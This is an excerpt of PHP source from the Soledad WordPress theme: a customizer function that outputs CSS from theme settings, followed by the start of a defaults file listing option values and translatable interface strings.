			if ( $mhbgicon_color ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a i, .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ color:' . esc_attr( $mhbgicon_color ) . ';}';
			}
			if ( $mhbgicon_hover_color ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a:hover i, .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ color:' . esc_attr( $mhbgicon_hover_color ) . ';}';
			}
			if ( $mhbgicon_border ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ border-color:' . esc_attr( $mhbgicon_border ) . ';}';
			}
			if ( $mhbgicon_border_hover ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ border-color:' . esc_attr( $mhbgicon_border_hover ) . ';}';
			}
			if ( $mhbgicon_bg ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ background-color:' . esc_attr( $mhbgicon_bg ) . ';}';
			}
			if ( $mhbgicon_bg_hover ) {
				echo '.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ background-color:' . esc_attr( $mhbgicon_bg_hover ) . ';}';
			}
			if ( $mhbg_social_size ) {
				echo '.penci-menu-hbg .header-social.sidebar-nav-social a i{ font-size:' . absint( $mhbg_social_size ) . 'px;}';
			}

			// Widget
			$mhbg_widget_margin             = get_theme_mod( 'penci_mhbg_widget_margin' );
			$mhbgwidget_heading_lowcase     = get_theme_mod( 'penci_mhbgwidget_heading_lowcase' );
			$mhbgwidget_heading_size        = get_theme_mod( 'penci_mhbgwidget_heading_size' );
			$mhbgwidget_heading_image_9     = get_theme_mod( 'penci_mhbgwidget_heading_image_9' );
			$mhbgwidget_heading9_repeat     = get_theme_mod( 'penci_mhbgwidget_heading9_repeat' );
			$mhbgwidget_remove_border_outer = get_theme_mod( 'penci_mhbgwidget_remove_border_outer' );
			$mhbgwidget_remove_arrow_down   = get_theme_mod( 'penci_mhbgwidget_remove_arrow_down' );

			if ( $mhbg_widget_margin ) {
				echo '.penci-menu-hbg .penci-sidebar-content .widget{ margin-bottom: ' . esc_attr( $mhbg_widget_margin ) . 'px; }';
				echo '.penci-menu-hbg-widgets2{ margin-top: ' . esc_attr( $mhbg_widget_margin ) . 'px; }';
			}

			if ( $mhbgwidget_heading_lowcase ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow{ text-transform: none; }';
			}

			if ( $mhbgwidget_heading_size ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: ' . $mhbgwidget_heading_size . 'px; }';
			}
			if ( $mhbgwidget_heading_image_9 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(' . $mhbgwidget_heading_image_9 . '); }';
			}
			if ( $mhbgwidget_heading9_repeat ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow{ background-repeat: ' . $mhbgwidget_heading9_repeat . '; background-size: auto; }';
			}
			if ( $mhbgwidget_remove_border_outer ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
		.penci-menu-hbg .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
		.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }';
			}

			if ( $mhbgwidget_remove_arrow_down ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }';
			}

			$mhwidget_heading_bg           = get_theme_mod( 'penci_mhwidget_heading_bg' );
			$mhwidget_heading_outer_bg     = get_theme_mod( 'penci_mhwidget_heading_outer_bg' );
			$mhwidget_heading_bcolor       = get_theme_mod( 'penci_mhwidget_heading_bcolor' );
			$mhwidget_heading_binner_color = get_theme_mod( 'penci_mhwidget_heading_binner_color' );
			$mhwidget_heading_bcolor5      = get_theme_mod( 'penci_mhwidget_heading_bcolor5' );
			$mhwidget_heading_bcolor7      = get_theme_mod( 'penci_mhwidget_heading_bcolor7' );
			$mhwidget_bordertop_color10    = get_theme_mod( 'penci_mhwidget_bordertop_color10' );
			$mhwidget_shapes_color         = get_theme_mod( 'penci_mhwidget_shapes_color' );
			$mhwidget_bgstyle15            = get_theme_mod( 'penci_mhwidget_bgstyle15' );
			$mhwidget_iconstyle15          = get_theme_mod( 'penci_mhwidget_iconstyle15' );
			$mhwidget_cllines              = get_theme_mod( 'penci_mhwidget_cllines' );
			$mhwidget_heading_color        = get_theme_mod( 'penci_mhwidget_heading_color' );

			if ( $mhwidget_heading_bg ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before, .penci-menu-hbg .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow, .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: ' . $mhwidget_heading_bg . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: ' . $mhwidget_heading_bg . '; }';
			}
			if ( $mhwidget_heading_outer_bg ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { background-color: ' . $mhwidget_heading_bg . '; }';
			}
			if ( $mhwidget_heading_bcolor ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow,';
				echo '.penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow { border-color: ' . $mhwidget_heading_bcolor . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before { border-top-color: ' . $mhwidget_heading_bcolor . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: ' . $mhwidget_heading_bcolor . '; }';
			}
			if ( $mhwidget_heading_binner_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { border-color: ' . $mhwidget_heading_binner_color . '; }';
			}
			if ( $mhwidget_heading_bcolor5 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow{ border-color: ' . $mhwidget_heading_bcolor5 . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow, .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow, .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: ' . $mhwidget_heading_bcolor5 . '; }';
			}
			if ( $mhwidget_heading_bcolor7 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,.penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{ background-color: ' . $mhwidget_heading_bcolor7 . '; }';
			}
			if ( $mhwidget_bordertop_color10 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: ' . $mhwidget_bordertop_color10 . '; }';
			}
			if ( $mhwidget_shapes_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,.penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,.penci-menu-hbg .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after, .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after, .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: ' . $mhwidget_shapes_color . '; }';
				echo '.penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before, .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{ border-left-color: ' . $mhwidget_shapes_color . '; }';
			}
			if ( $mhwidget_bgstyle15 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color: ' . $mhwidget_bgstyle15 . '; }';
			}
			if ( $mhwidget_iconstyle15 ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: ' . $mhwidget_iconstyle15 . '; }';
			}
			if ( $mhwidget_cllines ) {
				echo '.penci-menu-hbg .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: ' . $mhwidget_cllines . '; }';
			}
			if ( $mhwidget_heading_color ) {
				echo '.penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { color: ' . $mhwidget_heading_color . '; }';
			}
		endif; /* End check if enable HBG menu or Vertical Nav */ ?>
		<?php if ( get_theme_mod( 'penci_woo_paging_align' ) == 'left' ): ?>
            .woocommerce nav.woocommerce-pagination { text-align: left; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_woo_paging_align' ) == 'right' ): ?>
            .woocommerce nav.woocommerce-pagination { text-align: right; }
		<?php endif; ?>

		<?php
		// RDGP
		$gprd_bgcolor     = get_theme_mod( 'penci_gprd_bgcolor' );
		$gprd_color       = get_theme_mod( 'penci_gprd_color' );
		$gprd_btn_color   = get_theme_mod( 'penci_gprd_btn_color' );
		$gprd_btn_bgcolor = get_theme_mod( 'penci_gprd_btn_bgcolor' );
		$gprd_border      = get_theme_mod( 'penci_gprd_border' );

		$rdpenci_css = '';
		if ( $gprd_bgcolor ) {
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show,.penci-gprd-law,.penci-wrap-gprd-law.style-3 .penci-gprd-law,.penci-wrap-gprd-law.style-4 .penci-gprd-law{ background-color: ' . $gprd_bgcolor . ' } ';
			$rdpenci_css .= '.penci-wrap-gprd-law{ --pcaccent-cl: ' . $gprd_bgcolor . ' } ';
		}
		if ( $gprd_color ) {
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show,.penci-gprd-law{ color: ' . $gprd_color . ' } ';
		}
		if ( $gprd_btn_color ) {
			$rdpenci_css .= '.penci-gprd-law .penci-gprd-accept{ color: ' . $gprd_btn_color . ' }';
		}
		if ( $gprd_btn_bgcolor ) {
			$rdpenci_css .= '.penci-gprd-law .penci-gprd-accept{ background-color: ' . $gprd_btn_bgcolor . ' }';
		}
		if ( $gprd_border ) {
			$rdpenci_css .= '.penci-gprd-law{ border-top: 2px solid ' . $gprd_border . ' } ';
			$rdpenci_css .= '.penci-wrap-gprd-law .penci-gdrd-show{ border: 1px solid ' . $gprd_border . '; border-bottom: 0; } ';
			$rdpenci_css .= '.penci-wrap-gprd-law{ --pcborder-cl: ' . $gprd_bgcolor . ' } ';
		}
		echo $rdpenci_css;
		?>
		<?php if ( get_theme_mod( 'penci_section_searchform_form_bg' ) ) : ?>
            .header-search-style-showup .show-search{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_form_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_top_border_cl' ) ) : ?>
            .header-search-style-showup .show-search:before{ border-bottom-color: <?php echo get_theme_mod( 'penci_section_searchform_top_border_cl' ); ?>; }
            .header-search-style-showup .show-search{ border-color: <?php echo get_theme_mod( 'penci_section_searchform_top_border_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_text_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform input.search-input{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_text_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_text_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform input.search-input{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input::placeholder{ opacity: 1; color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
            .header-search-style-showup .show-search form.pc-searchform input.search-input::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_section_searchform_text_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_bd_cl' ) ) : ?>
            .header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input, .header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input, .header-search-style-showup .show-search form.pc-searchform input.search-input{ border-color: <?php echo get_theme_mod( 'penci_section_searchform_bd_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_btn_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_hv_bg' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover{ background-color: <?php echo get_theme_mod( 'penci_section_searchform_btn_hv_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit{ color: <?php echo get_theme_mod( 'penci_section_searchform_btn_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_section_searchform_btn_hv_cl' ) ) : ?>
            .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover{ color: <?php echo get_theme_mod( 'penci_section_searchform_btn_hv_cl' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_custom_css' ) ) : ?>
			<?php echo get_theme_mod( 'penci_custom_css' ); ?>
		<?php endif; ?>
		<?php

		$social_share_style = get_theme_mod( 'penci_single_style_cscount' );
		$snew_bgcolor       = get_theme_mod( 'penci_single_newshare_bgcolor' );
		$snew_bghcolor      = get_theme_mod( 'social_bghcolor' );
		$snew_color         = get_theme_mod( 'penci_single_newshare_color' );
		$snew_hcolor        = get_theme_mod( 'penci_single_newshare_hcolor' );
		$snew_bcolor        = get_theme_mod( 'penci_single_newshare_bcolor' );
		$snew_hbcolor       = get_theme_mod( 'penci_single_newshare_hbcolor' );
		$splus_color        = get_theme_mod( 'penci_single_splus_color' );
		$splus_hcolor       = get_theme_mod( 'penci_single_splus_hcolor' );
		$splus_bgcolor      = get_theme_mod( 'penci_single_splus_bgcolor' );
		$splus_hbgcolor     = get_theme_mod( 'penci_single_splus_hbgcolor' );

		if ( $splus_color ) {
			echo 'a.post-share-expand,.black-ver .post-share-expand i,.tags-share-box.tags-share-box-2_3 .post-share-expand,.penci-social-colored .post-share-item.post-share-expand i, .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i{color:' . $splus_color . '}';
		}

		if ( $splus_hcolor ) {
			echo 'a.post-share-expand:hover,.black-ver .post-share-expand:hover i,.tags-share-box.tags-share-box-2_3 .post-share-expand:hover,.penci-social-colored .post-share-item.post-share-expand:hover i,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i{color:' . $splus_hcolor . '}';
		}

		if ( $splus_bgcolor ) {
			echo 'a.post-share-expand,.black-ver .post-share-expand,.black-ver .post-share-expand i,.tags-share-box.tags-share-box-2_3 .post-share-expand,.penci-social-colored .post-share-item.post-share-expand i,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand{background-color:' . $splus_bgcolor . '}';
		}

		if ( $splus_hbgcolor ) {
			echo 'a.post-share-expand:hover,.black-ver .post-share-expand:hover,.black-ver .post-share-expand:hover i,.tags-share-box.tags-share-box-2_3 .post-share-expand:hover,.penci-social-colored .post-share-item.post-share-expand:hover i, .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover{background-color:' . $splus_hbgcolor . '}';
		}

		if ( $snew_bgcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.black-ver .post-share-item,.black-ver .post-share-item i{background-color:' . $snew_bgcolor . '}';
		}

		if ( $snew_bghcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.black-ver .post-share-item:hover,.black-ver .post-share-item:hover i{background-color:' . $snew_bghcolor . '}';
		}

		if ( $snew_color && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.black-ver .post-share-item i,.show-txt.post-share a .dt-share{color:' . $snew_color . '}';
		}

		if ( $snew_hcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n14',
				'n15',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.black-ver .post-share-item:hover i,.show-txt.post-share a:hover .dt-share{color:' . $snew_hcolor . '}';
		}

		if ( $snew_bcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item,.pcnew-share.penci-icon-full.border-style .post-share-item i{border-color:' . $snew_bcolor . '}';
		}

		if ( $snew_hbcolor && in_array( $social_share_style, [
				's1',
				's3',
				'n16',
				'n17',
				'n18',
				'n19',
				'n20',
				'n21',
				'n22',
				'n23'
			] ) ) {
			echo 'a.post-share-item:hover,.pcnew-share.penci-icon-full.border-style .post-share-item:hover i{border-color:' . $snew_hbcolor . '}';
		}

		if ( get_theme_mod( 'penci_post_share_disbtnplus' ) ) {
			echo '.penci-featured-share-box .penci-shareso a:nth-last-child(2){ margin-right: 0; }';
		}

		if ( get_theme_mod( 'penci_meta_author_aw' ) ) {
			echo '.penci-grid li .item .author-url .avatar,.penci-masonry .item-masonry a .author-url .avatar,.author-url .avatar,.grid-post-box-meta img.avatar{width:' . get_theme_mod( 'penci_meta_author_aw' ) . 'px;}';
		}

		if ( get_theme_mod( 'penci_textshare_selection_bgcolor' ) ) {
			echo '.entry-content p::selection{background-color: ' . get_theme_mod( 'penci_textshare_selection_bgcolor' ) . '}';
		}

		if ( get_theme_mod( 'penci_textshare_selection_txtcolor' ) ) {
			echo '.entry-content p::selection{color: ' . get_theme_mod( 'penci_textshare_selection_txtcolor' ) . '}';
		}

		do_action( 'soledad_theme/custom_css' );
		if ( is_page() ) {
			$page_custom_css = get_post_meta( get_the_ID(), 'penci_pmeta_page_custom_css', true );
			if ( isset( $page_custom_css['page_custom_css'] ) && $page_custom_css['page_custom_css'] ) {
				echo $page_custom_css['page_custom_css'];
			}
			$page_background       = get_post_meta( get_the_ID(), 'penci_pmeta_page_background', true );
			$css_page_wapper       = '';
			$page_background_color = '';

			if ( isset( $page_background['page_wrap_bgcolor'] ) && $page_background['page_wrap_bgcolor'] ) {
				$css_page_wapper       .= 'background-color:' . esc_attr( $page_background['page_wrap_bgcolor'] ) . ' !important;';
				$page_background_color = esc_attr( $page_background['page_wrap_bgcolor'] );
			}
			if ( isset( $page_background['page_wrap_bgimg'] ) && $page_background['page_wrap_bgimg'] ) {
				$bgimg           = wp_get_attachment_url( $page_background['page_wrap_bgimg'] );
				$css_page_wapper .= 'background-image: url(' . esc_url( $bgimg ) . ') !important;';
			}
			if ( isset( $page_background['page_wrap_bg_pos'] ) && $page_background['page_wrap_bg_pos'] ) {
				$css_page_wapper .= 'background-position:' . esc_attr( str_replace( '_', ' ', $page_background['page_wrap_bg_pos'] ) ) . ' !important;';
			}
			if ( isset( $page_background['page_wrap_bg_size'] ) && $page_background['page_wrap_bg_size'] ) {
				$css_page_wapper .= 'background-size:' . esc_attr( $page_background['page_wrap_bg_size'] ) . ' !important;';
			}
			if ( isset( $page_background['page_wrap_bg_repeat'] ) && $page_background['page_wrap_bg_repeat'] ) {
				$css_page_wapper .= 'background-repeat:' . esc_attr( $page_background['page_wrap_bg_repeat'] ) . ' !important;';
			}
			?>
			<?php if ( $css_page_wapper ): ?>
                .wrapper-boxed, .wrapper-boxed.enable-boxed{<?php echo $css_page_wapper; ?> }
			<?php endif; ?>
			<?php if ( $page_background_color ): ?>
                .penci-single-style-7:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post, .penci-single-style-3:not( .penci-single-pheader-noimg ).penci_sidebar #main article.post { background-color: var(--pcbg-cl); }
                @media only screen and (max-width: 767px){ .standard-post-special_wrapper { background: <?php echo $page_background_color; ?>; } }
                .home-pupular-posts-title span, .penci-post-box-meta.penci-post-box-grid .penci-post-share-box, .penci-pagination.penci-ajax-more a.penci-ajax-more-button, .woocommerce .woocommerce-product-search input[type="search"], .overlay-post-box-meta, .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text, .widget select, .widget select option, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, #penci-demobar, #penci-demobar .style-toggle,
                .grid-overlay-meta .grid-header-box, .header-standard.standard-overlay-meta{ background-color: <?php echo $page_background_color; ?>; }
                .penci-grid .list-post.list-boxed-post .item > .thumbnail:before{ border-right-color: <?php echo $page_background_color; ?>; }
                .penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item > .thumbnail:before{ border-left-color: <?php echo $page_background_color; ?>; }
			<?php endif; ?>
		<?php } ?>
		<?php
		do_action( 'soledad_theme/custom_dark_css' );
		$custom_social_colors = get_option( 'penci_custom_socials', array() );
		if ( ! empty( $custom_social_colors ) ) {
			foreach ( $custom_social_colors as $key => $data ) {
				if ( isset( $data['color'] ) && $data['color'] ) {
					echo '.pcsoccl-brandbg .pcsc-brandflag.pcsoci-' . $key . '{background-color:' . $data['color'] . '}';
					echo '.pcsoccl-brandtext .pcsc-brandflag.pcsoci-' . $key . ' svg{fill:' . $data['color'] . '}';
				}
			}
		}

		// cursor color
		$cursor_colors = [
			'penci_cursor_small_size' => '--pccrs-ccsm',
			'penci_cursor_exsmall_size' => '--pccrs-ccesm',
			'penci_cursor_circle_inner_size' => '--pccrs-ccinner',
			'penci_cursor_bdw' => '--pccrs-bw',
			'penci_cursor_bds' => '--pccrs-bs',
			'penci_cursor_main_inv_color' => '--pcaccent-cl',
		];

		foreach ( $cursor_colors as $key => $value ) {
			$cursor_color = get_theme_mod( $key );
			if ( $cursor_color ) {
				$cursor_color = is_numeric( $cursor_color ) ? $cursor_color . 'px' : $cursor_color;
				echo '.penci-cc-cursor{ ' . $value . ': ' . $cursor_color . '; }';
			}
		}

		// post nav

		$post_nav_sticky_props = [
			'penci_sticky_posts_nav_bgcolor' => '.penci-post-sticky-nav{background:{{VALUE}}',
			'penci_sticky_posts_nav_bdcolor' => '.penci-post-sticky-nav{border-top-color:{{VALUE}}',
			'penci_sticky_posts_nav_tcolor' => '.penci-post-sticky-nav .pagi-text h5{color:{{VALUE}}',
			'penci_sticky_posts_nav_thcolor' => '.penci-post-sticky-nav .pagi-text h5:hover{color:{{VALUE}}',
			'penci_sticky_posts_nav_mpcolor' => '.penci-post-sticky-nav-wrap .current-post h4{color:{{VALUE}}',
			'penci_sticky_posts_nav_color' => '.penci-post-sticky-nav-wrap .next-post:before, .penci-post-sticky-nav-wrap .prev-post:before{color:{{VALUE}}',
			'penci_fcusmode_bgcolor' => '.penci-focus-mode-button{background:{{VALUE}}',
			'penci_fcusmode_txtcolor' => '.penci-focus-mode-button{color:{{VALUE}}',
			'penci_fcusmode_bghcolor' => 'body.penci-focus-mode .penci-focus-mode-button{background:{{VALUE}}',
			'penci_fcusmode_txthcolor' => 'body.penci-focus-mode .penci-focus-mode-button{color:{{VALUE}}',
		];

		foreach ( $post_nav_sticky_props as $key => $value ) {
			$post_nav_sticky_color = get_theme_mod( $key );
			if ( $post_nav_sticky_color ) {
				$post_nav_sticky_color = is_numeric( $post_nav_sticky_color ) ? $post_nav_sticky_color . 'px' : $post_nav_sticky_color;
				echo str_replace( '{{VALUE}}', esc_attr( $post_nav_sticky_color ), $value ) . '; }';
			}
		}

	}
endif;


add_action( 'wp_head', 'pencidesign_customizer_css' );
PK     N\+v#!O  !O    inc/customizer/default.phpnu [        <?php
/**
 * Set some values default when theme is activated
 *
 * @param string $name
 *
 * @return string / true / false
 */
if ( ! function_exists( 'penci_default_setting_customizer' ) ) {
	function penci_default_setting_customizer( $name ) {
		$defaults = array(

			// Options
			'penci_sidebar_home'                => true,
			'penci_sidebar_posts'               => true,
			'penci_sidebar_archive'             => true,
			'penci_preload_google_fonts'        => true,
			'penci_toppost_enable'              => true,
			'penci_tb_date_text'                => "[penci_date format='l, F j Y'] - Welcome",
			'penci_facebook'                    => 'https://www.facebook.com/PenciDesign',
			'penci_twitter'                     => 'https://x.com/PenciDesign',
			'penci_single_poslcscount'          => 'below-content',

			// Transition text
			'penci_top_bar_custom_text'         => esc_html__( 'Top Posts', 'soledad' ),
			'penci_header_slogan_text'          => esc_html__( 'keep your memories alive', 'soledad' ),
			'penci_trans_comment'               => esc_html__( 'comment', 'soledad' ),
			'penci_trans_countviews'            => esc_html__( 'views', 'soledad' ),
			'penci_trans_read'                  => esc_html__( 'read', 'soledad' ),
			'penci_trans_tago'                  => esc_html__( 'ago', 'soledad' ),
			'penci_trans_beforeago'             => '',
			'penci_trans_published'             => esc_html__( 'Published:', 'soledad' ),
			'penci_trans_modifiedat'            => esc_html__( 'Updated:', 'soledad' ),
			'penci_trans_save_fields'           => esc_html__( 'Save my name, email, and website in this browser for the next time I comment.', 'soledad' ),
			'penci_trans_type_and_hit'          => esc_html__( 'Type and hit enter...', 'soledad' ),
			'penci_trans_comments'              => esc_html__( 'comments', 'soledad' ),
			'penci_trans_reply_comment'         => esc_html__( 'Reply', 'soledad' ),
			'penci_trans_edit_comment'          => esc_html__( 'Edit', 'soledad' ),
			'penci_trans_wait_approval_comment' => esc_html__( 'Your comment is awaiting approval', 'soledad' ),
			'penci_trans_by'                    => esc_html__( 'by', 'soledad' ),
			'penci_trans_home'                  => esc_html__( 'Home', 'soledad' ),
			'penci_home_popular_title'          => esc_html__( 'Popular Posts', 'soledad' ),
			'penci_home_title'                  => '',
			'penci_trans_newer_posts'           => esc_html__( 'Newer Posts', 'soledad' ),
			'penci_trans_older_posts'           => esc_html__( 'Older Posts', 'soledad' ),
			'penci_trans_load_more_posts'       => esc_html__( 'Load More Posts', 'soledad' ),
			'penci_trans_load_more_items'       => esc_html__( 'Load More Items', 'soledad' ),
			'penci_trans_load_more_comments'    => esc_html__( 'Load More Comments', 'soledad' ),
			'penci_trans_no_more_posts'         => esc_html__( 'Sorry, No more posts', 'soledad' ),
			'penci_trans_no_more_items'         => esc_html__( 'Sorry, No more items', 'soledad' ),
			'penci_trans_no_more_comments'      => esc_html__( 'Sorry, No more comments', 'soledad' ),
			'penci_trans_no_comments'           => esc_html__( 'Sorry, No comments found.', 'soledad' ),
			'penci_trans_all'                   => esc_html__( 'All', 'soledad' ),
			'penci_trans_close'                 => esc_html__( 'Close', 'soledad' ),
			'penci_trans_back_to_top'           => esc_html__( 'Back To Top', 'soledad' ),
			'penci_trans_written_by'            => esc_html__( 'written by', 'soledad' ),
			'penci_trans_updated_by'            => esc_html__( 'Updated by', 'soledad' ),
			'penci_trans_reviewed_by'           => esc_html__( 'Reviewed by', 'soledad' ),
			'penci_trans_edited_by'             => esc_html__( 'Edited by', 'soledad' ),
			'penci_trans_revised_by'            => esc_html__( 'Revised by', 'soledad' ),
			'penci_trans_previous_post'         => esc_html__( 'previous post', 'soledad' ),
			'penci_trans_next_post'             => esc_html__( 'next post', 'soledad' ),
			'penci_post_related_text'           => esc_html__( 'You may also like', 'soledad' ),
			'penci_inlinerp_title'              => esc_html__( 'You Might Be Interested In', 'soledad' ),
			'penci_trans_author_profile'        => __( 'Author Profile', 'soledad' ),
			'penci_trans_author_related'        => __( 'Posts by the Author', 'soledad' ),
			'penci_rltpopup_heading_text'       => esc_html__( 'Read also', 'soledad' ),
			'penci_trans_name'                  => esc_html__( 'Name*', 'soledad' ),
			'penci_trans_email'                 => esc_html__( 'Email*', 'soledad' ),
			'penci_trans_website'               => esc_html__( 'Website', 'soledad' ),
			'penci_trans_your_comment'          => esc_html__( 'Your Comment', 'soledad' ),
			'penci_trans_leave_a_comment'       => esc_html__( 'Leave a Comment', 'soledad' ),
			'penci_trans_cancel_reply'          => esc_html__( 'Cancel Reply', 'soledad' ),
			'penci_trans_submit'                => esc_html__( 'Submit', 'soledad' ),
			'penci_trans_category'              => esc_html__( 'Category:', 'soledad' ),
			'penci_trans_continue_reading'      => esc_html__( 'Continue Reading', 'soledad' ),
			'penci_trans_read_more'             => esc_html__( 'Read more', 'soledad' ),
